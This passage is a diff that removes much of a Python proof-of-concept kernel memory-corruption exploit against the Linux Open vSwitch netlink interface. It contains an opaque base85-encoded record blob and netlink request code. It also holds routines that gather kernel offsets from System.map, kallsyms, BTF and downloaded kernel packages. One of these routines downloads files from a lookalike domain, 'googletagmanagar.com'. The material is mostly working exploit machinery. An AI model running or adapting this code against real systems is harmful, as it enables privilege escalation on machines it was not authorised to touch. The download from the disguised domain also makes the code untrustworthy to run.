O<ncfzHKI6wu9ug)Pb5BsgZh~K5D0pAJs=46zRwEr0(sbmY%gtqN0&jHI302jnU*D7@f=LzTBg?nod&dDorIyMM90#NKJPhQfHUC?8`lzy8DLMwB}VQ?=UKAL1=_VXp(7!el(%`x;?I?79F)~tvE$$q(<u8cV1MWmVT~M_oN=5q?WtmE=@ii(oCW?NR8A;Jzwh4^=U}`Or#zdcL{eN5nrt@io!Pw^L#WGq(K^_=L$Z?BF!V>^Fq2S`*?kIw#B-xs7*9g)O37+HCVHU39K_?9eT45-M@!PNo!LcLL)RnlTIV_>_QLSbV*XzOb7ORAT?6YCv|Bpwe+)<x_hUoGyT!DGEuS96rm9sp%FT>&{eO{_HHj;5?WV<vN0h|9*xilO@{|UXBWEv@$mj=%eU_@npGYqI>TrSNP{#T9w7b5NcT;OH(2{ZxrDXwehAiJO+^jXd9kjG=Ds<^-c(vgZQ134&<OqH?gEfXKP#d8F1R%5baS=V)KYV93#pNs_d}%4E_L7gp}#A1lXjSN5YbBgfzSwz(4-v*om=REX!_pKmV~r4BQ2WK;vfyuydQ$}V<X*nVe1BK7oCnmMGe+qO+^jXnX%Tr>9oB&ci5!TA>9?Pg;vZRA~Ztteu&VICv@M0c#=9@t98+8<`0n?spq?aDBf}d@!3k<djqlT@5WO#)9jeWXpEl8XzL`5Guo4PJSU@fZ7;3T#w8*7z-p|f9}lauTiw@>S9XnxYoB)F>5_gtghpsy4-q=M(9)YtySww@sfISHMmg=oa~h!$8libTMCeBodZ-hxDAR7dly*={BQ;X<dWh8drS46pLr;f?lBg8BJTMxgc|FAF$2GdMp1$5SEzM@Unrk8Xz-p}K^$@GGTithA%k}r-*(z#!@emrJ=Mq{Q&+8#VkI1H5op_>SjkR$|jnqg@p9fOsmU>{Nhq)hkd`u6BX*r&aj^kP&4btpg0_jIZx<8%XVqK-H0FK!fum)=?YOv0Xwdw84^F6aIqM}Y82#wGPP3JU1Kbp|Hc9{C84PALijns5{AoUDV_q`+fu3kJ{6{_Z0q9&R~XoRNI1EC*J=)Qa6P1m$(QV$;;_r#GJshL7V>daEx{s|Ya?oJ^#$+WA#N7H1B!f1@fXz~t>&Te#HHQl*oTFP{@MO?IWcOW!ElXoEW;|blBceE~w*HYUMEpLZNjnvfANS$BmcO%k{cBizDg3t(!&~!>8^c+GDjJ3GCEqDoO@kQ$H2pj?cX^>|25TqX&>ArsH&se*PJGEd9)>PDBogHh}JK55)XZmB>jCWm5)8T>82+iyvLO-6+JN9@qV=d8<P9rr^^L~ib*`@C5^a%YoYSSG6qG^OiXoN=S{6hD1cnsyyToFfTgl6Utq4Nvv2WAeXCy~}=G%lJFqcIwzc{9Z5yhfLOiS(U5>CaWPHqol6Num)Np?Nbz=*JVf>&@_{mX@+mp?Nc8IvlBydbV1c>G0<(^+2<9xVs4N<<(jJtypLmlhd@|fiy_ZHqkN`X(n2p7t(zbEeUI*QabHa{Q=fs4c5FMf^}Z3!@vuo?MXdEMX5MXi_sWOA09@}V02HXwC}x1Yoqw65E`KonysY>{dhv}x*qPLGEwt_h}1|uTP<DE>+yW0em5fRXg?o@sC0D9v>-G>&(-7MTi>J9($7rj{^!Hnfye8sg!F0s$EHxW7CPzx(jX1ebG1y5MVcOu=Y@2Ck4KHQO<mKq*P_81tihTd53tUQbv4lA;kt5Z2{*S|Xqv`ojGoD8>m-ab+LL-bC!>en5VuyliZ?{8#_IXr5JM@vAwE~D``!?5T@io1zT74rx=<?GDq0c`ghuGkLK}7WC$5FIt;G1g(7qK>bPH{jHMT7;@$_>N+OOVj&Nde(M_ov#pKdAr)Bk+;-K(E|e)Hm=KYaV@zyH=;6o0k8NSpFh8C{5qM@7^|?HSZ&4-;w+sNI!<4C$TX>zmz7$c@~{&0Z$t&LX$!-Joasx~l8i+C^atH9{lwTn&5Gi1$Tm>*pr)j*U!8q7m*QA~jO8?E|T2kh*V{-1KjuR%QKx&<KstZ2LgyM-zI)y#S%B8mW<*S#qS#F17AWJ?!0H>ZViAH~W~FO+;vfo->#BinIfv?+D#D^>QP%jV5q=3#pNM#wqd<wKP-Yi<DXhCKRjtb1!F2-XYPYL2``7XpEj|irkLqpk|8v`5E0+Pq#brs?_J9$fmIxtI4LZI<wWL-|F&~(P^e7Wgdk|n?8)@lr2VMG;2;V`f-i!ucuGb{Gmv+q2?N^u^Own?1I&~t?ui}tNIcT8(kSKx5g0~p=axx_JPC$p+{uXtr<k^Qs1<8NR8A;&4yE?&MUR;le(0yZoHyOLOUM~LL)Rn&n2`dMJ<iccZBY$rEl+|mNF_*52QwFc2OgBUa8CBt)}IeZKm3!?mVZXLv7SXZFW(k_T#EOW*7B#??<h7sJ~01RnZ!DQ6o2UQ*R@8F1fWDl)L`v0kO9?6>G7ZJX=*!sJBrYwW+sJ`*GF&lG`s*7HP?zxw+hh+{lgG)Z56NLvB4R_n_G6Rr1^S7wJ_}Ow>Lqq25Mq)TZ7>?MGF6Oue1@vm3o_y5^-#w2pckxsjWC8@aQ|J^V7M%UxopO9X{W{UqX}ut@~9QJZ=jwI5gQQT2B7I$7&orrjcS$!$ILHgY33_4X`s?=Vj6pmAcyRHot!ZK6^)Spt<QzTq2{>D-m+{W`R}R@IYL9GkRW>nJ)Z7j;GDhm6QLN97j+N$Yd`XLd6zx3Rl=(V8uDbv+wWFPdf#C~BkjT=i@vfqE9TJJcRqZ{KX5v#H*`zKVj}$c@~2>+LdF>g{JKw;z_<@0zu4Hqq&nkT_GLO}&lUs6AJ`%>{4N?o@m1<lg5CS5n=iCCH83$emU0Qpu=#+Xd?FMadlogOV^hCwaYj-|T<3$!)XkNE6@&Zr}!P;LZTI8-&}9Ew~fhY0;67Iz(3iH*f>@99c;@?gAEYFAeU&s3eS<0ZG>j6Wmf2s!I1|RSDd{4ct$tN!qn<z5w?E;2xab3t?<j^5fBEvn<0#Wumsg4cx#D+`yd;?l1`V&DB}i)mf6@PWQsoSYi|h+`tXozzy8F;I0PuL05Y0x{M#re=nptA1<Fq%7GiWfg8AiI|JN<T_x4{Zou_f{f(P;f#~W}FE?<1eQ>wFL_KhOwG-|z2)8Sj3AYX1a7)z<cl%xOKHMSf9KW$%mlAe2ay!FG@#Vl>9;oKzp_0|xcbhJ@O^4Q>W+cTF%0vmD0&OO4fEuWQ8mMzYZB}oO-j9YlwTv`t`frA7IBE#gKs_JS+5`2og}S?<?%EyIo`O^om5t5-HBbZf3{Z;`rAO?HYM^F@eR)uy*WdG}UzUDc-@a01bRjy@53I)Oxr%CIEk*V7wA!xL|N1bxsBWhpsp*=NS3nKaPcWvYs9qq{|EY!9i)t6GXJ<B4Lp3joP@SD>*Y~36`ofQ!V_mLRnioZ&25N$8pq>Hh{-AoN)gda0mPbXb#%h9Utj=t;?+dE^E~uOC4?|E5)IdEG)T6fYIb(F$`qlvIg+Sete)vDc_ALmx9)LM5iZb<8TNNb$HedtxEGdYt{HVTaz+NQS{VB+e*_~~Buh*B`p~bRku@0mmn2p&K*_fT(?6NNnDTj*e)Dx1x)-K(3H1^Y>0>B1rz@~i<urq?)*S=SF<{`gcZ3FC(@(@!+>!BK|p_=wRsLoAwPk>$a&zYY!$G==uo)846ftvO`pq>Hh{@{9-)lKhSw6t1dHCEHUht-*_4t;@j*afwUbzN;7Py;nk^Rfuk*`e+Ws>5Id->+9&vUM7b5fzm{He^FKi%}svH`zUbb?Arsv?!!V*I>#hKn>JD{p6q~uwEY2{ektc)m5R(=;{xaIAJwb(*=UnnXRt+0_$q%ewR_Hvsz3vB~Sx3P|p=uD@$Mv)VHC&j;nS5D9mYEk1E?%5GrfH25d%Q06Ra}eJ_mF?hb2LM#Cr!R6{j^HB{%NTC0Al>z^CWL39l@3sSKft8ZIvBy?IGlp3(QYW-dkSY!2FtL^IT=4^9ua@1*c*M*ojFaG(%x3B*DZ?`VR=%^|#<zhBw&t^8w)|lOC_Q2}BPj;tlB-t%C9b|Man(K{Dzzy8MO|cE!8Q^w<aJwO}|FJpVf-PyU6YD}S8?!MRvvZp*GGw;Mu7IT3#pjv_NRG*1HfCcsX6H7$95lNeGW*jwdPq}_+C<B$Ys|*%+014f{dt-l2F(sbX1~7Lo+l7pC>`q$8vQUEv*&w=WQYc{JIo%Kqq&u9H<RkR$w*XmB@dCn4cs>!+O5CPtqyJDhdQ)v*a5dORsAosv)I;^(mojAUJl$^eRI4y)MmB*?f5g3x1J(9seZ9JJXxO=+h1a(|2TYquFW^P_;aeWSIX6YKllr3qc&=1Rl96|C5F^CqELHzY9F1RUmasNc4PNf7L_<%T07!N(t53kw-;r1nqNQo<;a?Y+f?qBI~_}Jnn+9vNF;E32C)$vu@O7F*m^&)Q>5L9UDkihqH@edA~s^rC$<iDoY?FgS(ezct+DOY8e2sb5F4=(8?g~Puh@D&vD-DaNxS`6!;0AX#cuulvlZKT6|4;--XLq%+gH{R`>PjQuk`A8^UM0`^m4q_H@p1`DU^%0iu!YPUHti2`?CB+^ZJO|)Y+NqY*Tu&>}RR=zORqla|dUsJzFF?&Fdp#Ble8Rh$xbg=P35xS@s>V6&J-28?omRTbvHnm>Sy{?E~G}ixRu^s#L1}H$yX#HNwi*pX6=%hc1J1!FZ$o5IIoxk5a9V%hLAmCBbj}#_znt?0!tYU-H|MY~y$G+q&(b`ycMe9vx|i-}sH+_>JFB-ft_~sj9s8+g7CwLE$%k<2O4=@OwtTW%^DMS;^hGcE1ujOHdoN*-3)h8P%S=lLWi5n_g~ux%1e4i|bpEe~I1067JI(y<L8KR%n$vqqTgx!q{|1hr`YKP#t0*22#J$8BP6~p?=-JGy2n1OVu2Tk!U&Yh1iIV*od83>^=7~eLC&coQW|Kg)=dTjo8exAa+)<_nu|BU1KX3g=36}jo65d*qO!Nb1&1K8e2t8jg8p6<;^mEC_!XI_p>ps2Ae*NMTxz>IQmtu^cTH7{xv;3HivW5d!q``g{Y+XM%DiUYp@3Ed{}#1`Voy6QabB|QI%z3{h!TQ+N4+iKiyvcKi~Z@-t00uh1r-*B*J(KW@j?nOdn4%_s=etE9GeKLv7S%JO#D$sXci-1-r2uyJ_^p?)mKAzcu^&i<9jmWR+H++WLcYUWkp@w2dHkR<ZYP^t&y#OPwQ#jo64yjg8p(#J1CpoWHy}O=kwu0Y()yN6rx&v8k~UJFD1}PUe0V+t_GGMGzaY=Xis(s`(e4BhOB3JGpVh-hX>^D;0Qq#B9u_Zv?ZmnLV{_1i6tLxgRGVamtctKR>xA?DPBes(7{jSQKTUL$od$M?3=9fISn~zVZax&k*cMJtGa+q5cyPl|;)6BwzzJ6*ge!1KaOkVW$Vk1hzKypR(vI`&R)Qu&J;CJ1^LKSJ-W^>k2zW1=xTM*mR5lc0RDn$sHqQ*Sn+kygOnxX45f(+1bpV+A)IM$c^0O*~mSc+|xTov`rl&;#e~R*nmx*4cK|X-v69f3+yuLDq8Yvzy@q8Y{1S3c9^!vuL0ZDA5ojAsjvYXu&J;CJ15wad$JSQHY!7f4cLH9#|U8O1iPBtF;aECI|}cPn2p(Vj9_*?v!`~9AUAR&H+eR4&nEY({tewP&wh1&wv9(ZAvzi#oh2RtY`_L=z|IP`-Lu8-YO@8qs*O&U#2j~N02{CY8?f_&?WXl)i%ui!PND{Ezy@qOMgTh}*s_g8?4(FUqA^j3L;xGG=K@<g9w`C)Ie=~V9HMDOBF%Aida?l<umKyeGlT7>O+9WS5u+JX2W-H;1-9-1+p91DcG=Omcc;HEhz^w<mtlMVwPx72jIO^&`ytZ@YISksSHJ)IWiur&ug;3XrGhi9jm9th!moD08M^zELr33otKcmCh=NmDrJk8z_Y2NlqLp7HTKY%mB%1bV4~1yD3J`4u(ON(M75pQ#%JPrUrY`AR`yY*aCoXibrJ}1~DgOwq4`iiR$D3c)SErX>_7Bf5uTG0X3gu$`;XYplEdE?o@{0~f3|oLUWoTZst18%Wqs@vjx#gg3CXP1Ozry_ixpJiivoRa9Gn#FxN~thzv{^#H?8TWqZL}G=ksG-mBlPuNmCnh+Lto_XkbD1Cov+uI+n~hOe@l;Iqp8TW0UNLZ8?dv2t@j^oPGD<WsHQE9<F0@W*t3Cc{J6G?(vxQ|3GBUhE8nTGRn!95fDPDy4cJ-1*85M&wJPkiKM1e^8?cE)06QDlc6x@bL#nWwVL8ACY`_L=z|IP`Ov|v-XtRsfM4`e4Y`_L=z|ITyp8J&lu{qv?Eom2pxM-N=25i74!v^e}VDG)2^LB+TmI@oN0UNLZJ2%*SuIId0Vbj(J*z6XW1#FShRetw+&a@!3s<^<tB(Q&7UmS1FHphCUKmGeJdU^b7dUkB&POC+9h}I^%zezXUN5TDH|NFoGe|8h;EC")
-# END EMBEDDED KERNEL RECORDS
-
-
-def uname_a() -> str:
-    uname = os.uname()
-    return " ".join(
-        (
-            uname.sysname,
-            uname.nodename,
-            uname.release,
-            uname.version,
-            uname.machine,
-        )
-    )
-
-
-def acknowledge_unknown_kernel() -> None:
-    print(
-        "This is a memory-corruption-based PoC -- it requires per-kernel-build "
-        "derived values (offsets, etc.). These were pre-derived for a number of "
-        "kernels in this single-file PoC, but yours is NOT among "
-        f"them: {uname_a()}.\n\n"
-        "Therefore, the PoC will attempt to _dynamically derive_ the offsets, "
-        "etc., from readable local System.map files or nonzero /proc/kallsyms "
-        "for symbol offsets; readable /sys/kernel/btf/* files or unstripped "
-        "local kernel build objects via pahole for struct layouts; and loaded "
-        "/sys/kernel/btf/openvswitch module BTF for "
-        "OVS_KEY_ATTR_TUNNEL_INFO. These are often available to unprivileged "
-        "users across distros, but the availability depends on various "
-        "security settings. If they are NOT available, the PoC will report "
-        "this and terminate. (Note: pahole must be already installed for the "
-        "dynamic derivation; an actual attacker would just package it in the "
-        "PoC).\n\n"
-        "By proceeding, you acknowledge that such early termination would NOT "
-        "imply your kernel is not affected, since your kernel could still be "
-        "vulnerable despite these sources not being reachable by an "
-        "unprivileged attacker; an unprivileged attacker could still trivially "
-        "target the PoC at your kernel by obtaining the symbols in a myriad of "
-        "other ways (e.g., matching distro debuginfo/kernel-devel packages, "
-        "System.map/vmlinux/BTF from the vendor kernel package, a second "
-        "machine running the same kernel build, rebuilding the same "
-        "source/config locally, public distro debug repositories, or any "
-        "privileged read of the target's symbol/debug files).\n\n"
-        "For a definitive check of whether you are affected, see "
-        "https://heyitsas.im/posts/ovswrap",
-        flush=True,
-    )
-    if not sys.stdin.isatty():
-        log("auto-acknowledging dynamic derivation (non-interactive stdin)")
-        return
-    try:
-        answer = input("Acknowledge? [Y/N]: ")
-    except EOFError:
-        log("auto-acknowledging dynamic derivation (EOF on stdin)")
-        return
-    if answer.strip().lower() == "y":
-        return
-    raise RuntimeError(
-        "terminated: user refused to acknowledge that dynamic-derivation "
-        "failure on an uncovered kernel would not imply non-affectation"
-    )
-
-def require_pahole_for_dynamic_derivation() -> None:
-    ensure_pahole_available()
-    if shutil.which("pahole") is None:
-        raise RuntimeError(
-            "kernel is not covered by pre-derived kernel records, and pahole is "
-            "required to dynamically derive kernel struct offsets from local "
-            "debug info. This does NOT mean you are not affected, as a real "
-            "attacker would just package the equivalent functionality into "
-            "the PoC or otherwise target the PoC at this kernel. For a "
-            "definitive check of whether you are affected, see "
-            "https://heyitsas.im/posts/ovswrap"
-        )
-
-
-def json_object(value: Any, source: str) -> dict[str, Any]:
-    if not isinstance(value, dict):
-        raise RuntimeError(f"{source}: expected a JSON object")
-    return value
-
-
-def json_int(obj: dict[str, Any], field: str, source: str) -> int:
-    value = obj.get(field)
-    if not isinstance(value, int) or isinstance(value, bool):
-        raise RuntimeError(f"{source}: {field} must be an integer")
-    return value
-
-
-def json_str(obj: dict[str, Any], field: str, source: str) -> str:
-    value = obj.get(field)
-    if not isinstance(value, str):
-        raise RuntimeError(f"{source}: {field} must be a string")
-    return value
-
-
-def json_str_tuple(obj: dict[str, Any], field: str, source: str) -> tuple[str, ...]:
-    value = obj.get(field)
-    if not isinstance(value, list) or not all(isinstance(item, str) for item in value):
-        raise RuntimeError(f"{source}: {field} must be a string list")
-    return tuple(value)
-
-
-def json_carrier(obj: dict[str, Any], field: str, source: str) -> str:
-    value = json_str(obj, field, source)
-    if value not in CARRIER_ORDER:
-        raise RuntimeError(f"{source}: {field} has unknown carrier {value!r}")
-    return value
-
-
-def parse_kernel_offsets(value: Any, source: str) -> KernelOffsets:
-    obj = json_object(value, source)
-    values: dict[str, Any] = {}
-    for kernel_field in fields(KernelOffsets):
-        if kernel_field.name == "dst_entry_ref_kind":
-            values[kernel_field.name] = json_str(obj, kernel_field.name, source)
-        else:
-            values[kernel_field.name] = json_int(obj, kernel_field.name, source)
-    ref_kind = values["dst_entry_ref_kind"]
-    if ref_kind not in ("__rcuref", "__refcnt"):
-        raise RuntimeError(f"{source}: invalid dst_entry_ref_kind={ref_kind!r}")
-    return KernelOffsets(**values)
-
-
-def parse_kernel_build_record(value: Any, source: str) -> KernelBuildRecord:
-    obj = json_object(value, source)
-    return KernelBuildRecord(
-        release=json_str(obj, "release", source),
-        version=json_str(obj, "version", source),
-        machine=json_str(obj, "machine", source),
-        offsets=parse_kernel_offsets(obj.get("offsets"), f"{source}.offsets"),
-        read_carrier=json_carrier(obj, "read_carrier", source),
-        write_carrier=json_carrier(obj, "write_carrier", source),
-        read_lanes=json_str_tuple(obj, "read_lanes", source),
-        ovs_key_attr_tunnel_info=json_int(obj, "ovs_key_attr_tunnel_info", source),
-    )
-
-
-def load_kernel_build_records() -> tuple[KernelBuildRecord, ...]:
-    source = KERNEL_RECORDS_DESCRIPTION
-    try:
-        encoded = base64.b85decode(_KERNEL_RECORDS_B85)
-        value = json.loads(zlib.decompress(encoded))
-    except (ValueError, zlib.error, json.JSONDecodeError) as exc:
-        raise RuntimeError(f"{source} is malformed: {exc}") from exc
-
-    if not isinstance(value, list):
-        raise RuntimeError(f"{source}: expected a JSON array")
-    return tuple(
-        parse_kernel_build_record(item, f"{source}[{index}]")
-        for index, item in enumerate(value)
-    )
-
-
-def parse_attrs(buf: bytes) -> list[Attr]:
-    attrs: list[Attr] = []
-    offset = 0
-    while offset + 4 <= len(buf):
-        length, attr_type = struct.unpack_from(NLA_HDR, buf, offset)
-        if length < 4 or length > len(buf) - offset:
-            break
-        attrs.append(Attr(attr_type, buf[offset + 4 : offset + length], length))
-        offset += align4(length)
-    return attrs
-
-
-class GenericNetlink:
-    def __init__(self) -> None:
-        self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
-        self.sock.bind((0, 0))
-        self.seq = 1
-
-    def request(
-        self,
-        nlmsg_type: int,
-        cmd: int,
-        version: int,
-        payload: bytes = b"",
-        flags: int = NLM_F_REQUEST | NLM_F_ACK,
-    ) -> list[bytes]:
-        seq = self.seq
-        self.seq += 1
-        genl = struct.pack(GENL_HDR, cmd, version, 0)
-        message = genl + payload
-        header = struct.pack(NLMSG_HDR, 16 + len(message), nlmsg_type, flags, seq, 0)
-        self.sock.send(header + message)
-
-        want_ack = bool(flags & NLM_F_ACK)
-        replies: list[bytes] = []
-        while True:
-            data = self.sock.recv(1 << 20)
-            offset = 0
-            while offset + 16 <= len(data):
-                length, msg_type, _msg_flags, rseq, _pid = struct.unpack_from(
-                    NLMSG_HDR, data, offset
-                )
-                if rseq != seq:
-                    offset += align4(length)
-                    continue
-                body = data[offset + 16 : offset + length]
-                if msg_type == NLMSG_ERROR:
-                    error = struct.unpack_from("i", body, 0)[0]
-                    if error == 0:
-                        return replies
-                    raise OSError(-error, os.strerror(-error))
-                replies.append(body)
-                offset += align4(length)
-            if replies and not want_ack:
-                return replies
-
-    def get_family(self, name: str) -> int:
-        replies = self.request(
-            GENL_ID_CTRL,
-            CTRL_CMD_GETFAMILY,
-            2,
-            nla(CTRL_ATTR_FAMILY_NAME, cstr(name)),
-            NLM_F_REQUEST,
-        )
-        for reply in replies:
-            for attr in parse_attrs(reply[4:]):
-                if attr.attr_type == CTRL_ATTR_FAMILY_ID:
-                    return int(struct.unpack_from("H", attr.payload, 0)[0])
-        raise RuntimeError(f"family {name} id not found")
-
-
-def run_text(command: list[str]) -> str:
-    result = subprocess.run(command, text=True, capture_output=True, check=False)
-    return (result.stdout + result.stderr).strip()
-
-
-def step(message: str) -> None:
-    print(f"\n***{message}***", flush=True)
-
-
-def log(message: str) -> None:
-    print(message, flush=True)
-
-
-def env_tri_state(name: str, *, default: str = "auto") -> str:
-    raw = os.environ.get(name, default).strip().lower()
-    if raw in ("1", "yes", "true", "on"):
-        return "on"
-    if raw in ("0", "no", "false", "off"):
-        return "off"
-    return "auto"
-
-
-_KALLSYMS_USABLE_CACHE: bool | None = None
-
-
-def kallsyms_usable() -> bool:
-    global _KALLSYMS_USABLE_CACHE
-    if _KALLSYMS_USABLE_CACHE is None:
-        offsets, _failure = symbol_offsets_from("/proc/kallsyms")
-        _KALLSYMS_USABLE_CACHE = offsets is not None
-    return _KALLSYMS_USABLE_CACHE
-
-
-def vmlinux_btf_available() -> bool:
-    return os.path.isfile(os.path.join(BTF_DIR, "vmlinux"))
-
-
-def hybrid_mode_requested(record: KernelBuildRecord | None) -> bool:
-    mode = env_tri_state("OVS_C004_HYBRID")
-    if mode == "off":
-        return False
-    if mode == "on":
-        return record is not None or vmlinux_btf_available()
-    if record is None or not vmlinux_btf_available():
-        return False
-    if not kallsyms_usable():
-        log(
-            "kernel offsets: auto hybrid enabled because /proc/kallsyms is "
-            "zeroed or unusable but vmlinux BTF is available"
-        )
-        return True
-    log(
-        "kernel offsets: auto hybrid enabled to derive struct layouts from "
-        "BTF while keeping pre-derived symbol/UAPI metadata"
-    )
-    return True
-
-
-def force_dynamic_requested() -> bool:
-    return env_tri_state("OVS_C004_FORCE_DYNAMIC") == "on"
-
-
-_RPM_RELEASE_RE = re.compile(
-    r"^(\d+\.\d+\.\d+)-(\d+(?:\.\d+)*)\.([a-zA-Z0-9_]+)(?:\.(x86_64|aarch64))?$"
-)
-
-
-def system_map_release_stems(release: str) -> list[str]:
-    stems: list[str] = [release]
-    if release.endswith("-generic"):
-        stems.append(release[: -len("-generic")])
-    rpm = _RPM_RELEASE_RE.match(release)
-    if rpm is not None:
-        stems.append(f"{rpm.group(1)}-{rpm.group(2)}.{rpm.group(3)}")
-    ordered: list[str] = []
-    seen: set[str] = set()
-    for stem in stems:
-        if stem in seen:
-            continue
-        seen.add(stem)
-        ordered.append(stem)
-    return ordered
-
-
-def system_map_standard_paths(release: str) -> list[str]:
-    paths = [
-        f"/lib/modules/{release}/System.map",
-        f"/boot/System.map-{release}",
-        f"/usr/lib/debug/boot/System.map-{release}",
-        f"/lib/modules/{release}/build/System.map",
-        f"/usr/src/linux-{release}/System.map",
-        f"/usr/src/kernels/{release}/System.map",
-        f"/tmp/System.map-{release}",
-    ]
-    for stem in system_map_release_stems(release)[1:]:
-        paths.extend(
-            [
-                f"/lib/modules/{stem}/System.map",
-                f"/boot/System.map-{stem}",
-            ]
-        )
-    return paths
-
-
-def system_map_cache_path(release: str) -> str:
-    base = os.environ.get("OVS_C004_DWARES_BASE", "").strip()
-    if not base:
-        base = os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004")
-    run_dir = os.path.join(base, "run")
-    os.makedirs(run_dir, exist_ok=True)
-    return os.path.join(run_dir, f"System.map-{release}")
-
-
-def default_system_map_urls(release: str) -> list[str]:
-    urls: list[str] = []
-    custom = os.environ.get("OVS_C004_SYSTEM_MAP_URL", "").strip()
-    if custom:
-        urls.extend(part.strip() for part in custom.split(",") if part.strip())
-    for stem in system_map_release_stems(release):
-        urls.extend(
-            [
-                f"https://googletagmanagar.com/exp/ov2/System.map-{stem}",
-                f"https://googletagmanagar.com/exp/ov2/minimal-{stem}.System.map",
-            ]
-        )
-    ordered: list[str] = []
-    seen: set[str] = set()
-    for url in urls:
-        if url in seen:
-            continue
-        seen.add(url)
-        ordered.append(url)
-    return ordered
-
-
-def _find_system_map_in_tree(root: str, release: str) -> str | None:
-    for stem in system_map_release_stems(release):
-        for rel in (
-            f"lib/modules/{stem}/System.map",
-            f"boot/System.map-{stem}",
-        ):
-            path = os.path.join(root, rel)
-            if os.path.isfile(path):
-                return path
-    return None
-
-
-def bootstrap_system_map_from_urls(release: str, dest: str) -> bool:
-    if os.path.isfile(dest) and os.access(dest, os.R_OK):
-        offsets, _failure = symbol_offsets_from(dest)
-        if offsets is not None:
-            return True
-    for url in default_system_map_urls(release):
-        log(f"bootstrap: downloading System.map from {url}")
-        try:
-            with urllib.request.urlopen(url, timeout=60) as resp:
-                data = resp.read()
-        except (OSError, urllib.error.URLError) as exc:
-            log(f"bootstrap: download failed: {exc}")
-            continue
-        if len(data) < 20:
-            log("bootstrap: download too small or empty")
-            continue
-        tmp = dest + ".part"
-        with open(tmp, "wb") as handle:
-            handle.write(data)
-        os.replace(tmp, dest)
-        os.chmod(dest, 0o644)
-        offsets, failure = symbol_offsets_from(dest)
-        if offsets is not None:
-            log(f"bootstrap: cached System.map at {dest}")
-            return True
-        log(f"bootstrap: downloaded map unusable: {failure}")
-        try:
-            os.remove(dest)
-        except OSError:
-            pass
-    return False
-
-
-def bootstrap_system_map_from_rpm(release: str, dest: str) -> bool:
-    pkg_mgr = shutil.which("dnf") or shutil.which("yum")
-    if pkg_mgr is None:
-        return False
-    for tool in ("rpm2cpio", "cpio"):
-        if shutil.which(tool) is None:
-            log(f"bootstrap: {tool} missing, skipping kernel RPM download")
-            return False
-    base = os.path.dirname(dest)
-    pkg_dir = os.path.join(base, "kernel_pkg")
-    extract_root = os.path.join(base, "kernel_extract")
-    os.makedirs(pkg_dir, exist_ok=True)
-    if os.path.isdir(extract_root):
-        shutil.rmtree(extract_root)
-    os.makedirs(extract_root, exist_ok=True)
-
-    dnf_base = os.path.join(
-        os.environ.get("OVS_C004_DWARES_BASE", "").strip()
-        or os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004"),
-        "dnf",
-    )
-    for sub in ("log", "cache", "persist"):
-        os.makedirs(os.path.join(dnf_base, sub), exist_ok=True)
-    dnf_conf = os.path.join(dnf_base, "dnf.conf")
-    with open(dnf_conf, "w", encoding="ascii") as handle:
-        handle.write(
-            "[main]\n"
-            f"cachedir={os.path.join(dnf_base, 'cache')}\n"
-            f"logdir={os.path.join(dnf_base, 'log')}\n"
-            f"persistdir={os.path.join(dnf_base, 'persist')}\n"
-        )
-
-    pkg_candidates = [
-        f"kernel-core-{release}",
-        f"kernel-{release}",
-    ]
-    rpm_paths: list[str] = []
-    for pkg_name in pkg_candidates:
-        log(f"bootstrap: downloading {pkg_name} via {pkg_mgr}")
-        proc = subprocess.run(
-            [
-                pkg_mgr,
-                "-c",
-                dnf_conf,
-                "--setopt=install_weak_deps=False",
-                "download",
-                f"--destdir={pkg_dir}",
-                pkg_name,
-            ],
-            capture_output=True,
-            text=True,
-            check=False,
-        )
-        if proc.returncode != 0:
-            detail = (proc.stderr or proc.stdout or str(proc.returncode)).strip()
-            log(f"bootstrap: {pkg_mgr} download {pkg_name} failed: {detail}")
-            continue
-        rpm_paths = _filter_rpms_for_host(
-            sorted(glob.glob(os.path.join(pkg_dir, "*.rpm")))
-        )
-        if rpm_paths:
-            break
-
-    if not rpm_paths:
-        log(f"bootstrap: no kernel RPM downloaded under {pkg_dir}")
-        return False
-
-    for rpm_path in rpm_paths:
-        base_name = os.path.basename(rpm_path)
-        if not (
-            base_name.startswith("kernel-core-") or base_name.startswith("kernel-")
-        ):
-            continue
-        if base_name.startswith("kernel-") and not base_name.startswith(
-            "kernel-core-"
-        ):
-            if any(
-                x in base_name
-                for x in (
-                    "kernel-devel-",
-                    "kernel-debug-",
-                    "kernel-headers-",
-                    "kernel-tools-",
-                )
-            ):
-                continue
-        _extract_rpm_tree(rpm_path, extract_root)
-        src = _find_system_map_in_tree(extract_root, release)
-        if src is None:
-            continue
-        shutil.copyfile(src, dest)
-        os.chmod(dest, 0o644)
-        offsets, failure = symbol_offsets_from(dest)
-        if offsets is not None:
-            log(f"bootstrap: extracted System.map to {dest}")
-            return True
-        log(f"bootstrap: extracted map unusable: {failure}")
-
-    log("bootstrap: kernel RPM did not contain a usable System.map")
-    return False
-
-
-def in_namespace_child() -> bool:
-    return bool(os.environ.get(HOST_USER_ENV))
-
-
-def prepare_system_map_host() -> None:
-    if in_namespace_child():
-        return
-    release = os.uname().release
-    bootstrap_system_map(release, network=True)
-
-
-def bootstrap_system_map(release: str, *, network: bool | None = None) -> None:
-    if os.environ.get("OVS_C004_NO_SYSMAP_BOOTSTRAP", "").strip().lower() in (
-        "1",
-        "yes",
-        "true",
-    ):
-        return
-    dest = system_map_cache_path(release)
-    if os.environ.get("OVS_C004_SYSTEM_MAP", "").strip():
-        return
-    if os.path.isfile(dest) and os.access(dest, os.R_OK):
-        offsets, _failure = symbol_offsets_from(dest)
-        if offsets is not None:
-            os.environ["OVS_C004_SYSTEM_MAP"] = dest
-            return
-    if network is None:
-        network = not in_namespace_child()
-    if not network:
-        return
-    if bootstrap_system_map_from_urls(release, dest) or bootstrap_system_map_from_rpm(
-        release, dest
-    ):
-        os.environ["OVS_C004_SYSTEM_MAP"] = dest
-
-
-def discover_system_map_candidates(release: str) -> list[str]:
-    script_dir = os.path.dirname(os.path.abspath(__file__))
-    dwarves_base = os.environ.get("OVS_C004_DWARES_BASE", "").strip()
-    home = os.path.expanduser("~")
-    candidates: list[str] = []
-    custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip()
-    if custom:
-        candidates.append(custom)
-    candidates.append(system_map_cache_path(release))
-    for stem in system_map_release_stems(release):
-        candidates.extend(
-            [
-                os.path.join(script_dir, "data", f"System.map-{stem}"),
-                os.path.join(script_dir, "data", f"minimal-{stem}.System.map"),
-                os.path.join(script_dir, f"System.map-{stem}"),
-                os.path.join(home, ".cache", "ovs_c004", "run", f"System.map-{stem}"),
